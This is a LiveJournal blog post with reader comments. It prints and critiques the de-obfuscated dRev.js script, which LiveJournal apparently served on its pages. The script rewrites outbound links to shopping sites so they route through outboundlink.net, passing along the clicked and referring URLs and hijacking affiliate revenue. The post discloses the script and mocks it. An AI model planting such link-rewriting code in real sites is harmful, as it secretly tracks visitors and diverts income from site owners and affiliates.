What is LJ doing to my links? Part 4

[egypturnash]

If anyone's curious, here's the unpacked, de-obfuscated code in dRev.js.

function DrivingRevenue() {
var _flag = 0;
var _date = new Date();
var currentHour = _date.getHours();
var hostname = window["location"]["hostname"];
hostname = hostname["replace"]("www.", "")["toLowerCase"]();
var _URLList = new Array("ebay.com","amazon.com","ebay.co.uk","ebay.ca","newegg.com","cars.com","geeks.com","musiciansfriend.com","bestbuy.com","edmunds.com","sears.com","tigerdirect.com","bodybuilding.com","ebay.fr","auctionads.com","shoppingads.com","jcwhitney.com","autoanything.com","autopartswarehouse.com","motorcycle-superstore.com","buy.com","batteries.com","4wheelparts.com","carfax.com","jr.com","vanns.com","amazon.co.uk","bikebandit.com","motosport.com","ebags.com","itunes.apple.com","godaddy.com","dell.com","overstock.com","4wd.com","autobarn.net","guitarcenter.com","compusa.com","6ave.com","etronics.com","partstore.com","emusic.com","music123.com","ticketmaster.com","meritline.com","mwave.com","skype.com","abt.com","zappos.com","ritzcamera.com","borders.com","officedepot.com","autosportcatalog.com","sedo.com","zipzoomfly.com","www.web.com","onsale.com","hotels.com","pcconnection.com","streetsideauto.com","macmall.com","thenerds.net","advanceautoparts.com","ecost.com","hammacher.com","autopartsgiant.com","abesofmaine.com","drugstore.com","gnc.com","1and1.com","networksolutions.com","fandango.com","all-battery.com","amazon.ca","bhphotovideo.com","dotster.com","borders.com","drivingcomfort.com","ebay.com.au","ebay.ie","ebay.de","ebay.es","ebay.nl","ebay.at","ebay.be","ebay.ch","ebay.it","finishline.com","leasetrader.com","macconnection.com","officemax.com","peapod.com","pcmall.com","stubhub.com","travelocity.com","orbitz.com","discountperformanceautoparts.com","performance4trucks.com","priceline.com","paintball-online.com","wineenthusiast.com","americanmuscle.com","jegs.com","summitracing.com","shoemall.com","www.fye.com","1800petmeds.com","autoparts123.com","blinds.com","dell.ca","magazines.com","store.nascar.com","petsmart.com","shop.sirius.com","cycle-parts.com","hmhd.com","allthingsjeep.com","autopartsnerd.com","eforcity.com","onecall.com","pcuniverse.com","activemusician.com","allbikesupershop.com","kmart.com","realhog.com","target.com","autogeek.net","sheetmusicplus.com","partsgeek.com","dvdplanet.com","shopping.hp.com","andysautosport.com","jafrum.com","cdwow.com","euro.dell.com","novatech.co.uk","tesco.com","misco.co.uk","play.com","johnlewis.com","tvcables.co.uk","comet.co.uk","dixons.co.uk","pcworld.co.uk","digitalempireonline.co.uk","rapidonline.com","meshcomputers.com","sharp.co.uk","currys.co.uk","electricaldiscountuk.co.uk","mymemory.co.uk","digitaldirectuk.com","ajelectronics.co.uk","microdirect.co.uk","7dayshop.com","advancedmp3players.co.uk","be-direct.co.uk","hifibitz.co.uk");

if (currentHour < 6) {
_URLList["push"]("tirerack.com");
_flag = 1
};
var documentLinks = document["getElementsByTagName"]("a"),
currentLink = 0;
for (; documentLinks[currentLink]; currentLink++) {
j = 0;
if ((documentLinks[currentLink]["href"])["indexOf"]("http://") != -1 && (documentLinks[currentLink]["href"])["indexOf"](hostname) == -1) {
for (; _URLList[j]; j++) {
if ((documentLinks[currentLink]["href"])["indexOf"](_URLList[j]) != -1 && ((documentLinks[currentLink]["href"])["indexOf"]("AFFCODE") == -1 && (documentLinks[currentLink]["href"])["indexOf"]("a.jsp") == -1)) {
documentLinks[currentLink]["onclick"] = DrevClick;
documentLinks[currentLink]["oncontextmenu"] = DrevRightClick;
break
}
}
}
}
};
function DrevClick() {
var _flag = 0;
var _date = new Date();
var currentHour = _date["getHours"]();
if (currentHour < 6) {
_flag = 1
};
var newWindow = window["open"]("http://outboundlink.net/out.php?cid=" + DR_id + "&tr=" + _flag + "&url=" + encodeURIComponent(this["href"]) + "&ref=" + encodeURIComponent(location["href"]));
newWindow["focus"]();
return ! newWindow
};
function DrevRightClick() {
var _innerText = this["innerText"];
var _flag = 0;
var _date = new Date();
var currentHour = _date["getHours"]();
if (currentHour < 6) {
_flag = 1
};
if (this["href"]["indexOf"]("outboundlink.net") == -1) {
this["href"] = "http://outboundlink.net/out.php?cid=" + DR_id + "&tr=" + _flag + "&url=" + encodeURIComponent(this["href"]) + "&ref=" + encodeURIComponent(location["href"]);
this["innerText"] = _innerText + ""
};
return true
};


The two bits I find most amusing are "if it's before 6AM where you are, we add tirerack.com to the list of URLs we fiddle with" and "oh maybe we shouldn't steal people's affiliate links but we only bother checking for 'AFFCODE' which is one of the many, many possibilities", both to be found in the main DrivingRevenue() function.

Oh, and of course I'm also amused by
var DR_id = '1111'; // Is this a real ID or we'll be asked to change it? :)
DrivingRevenue(); which can be found in every single page LJ's serving unless you've opted out of this stuff. *grin*

Comments

[baxil.livejournal.com]

Thanks for all your work. Would you be willing to update your original post with links to parts 2, 3, and 4 (and any other resources you've got)? That's what I'm primarily pointing people to.

[krinndnz.livejournal.com]

I reinforce this.

[shatterstripes.livejournal.com]

I started putting the 'drivingrevenue.net' tag on them, I'll put a note at the bottom to point people's attention there for more!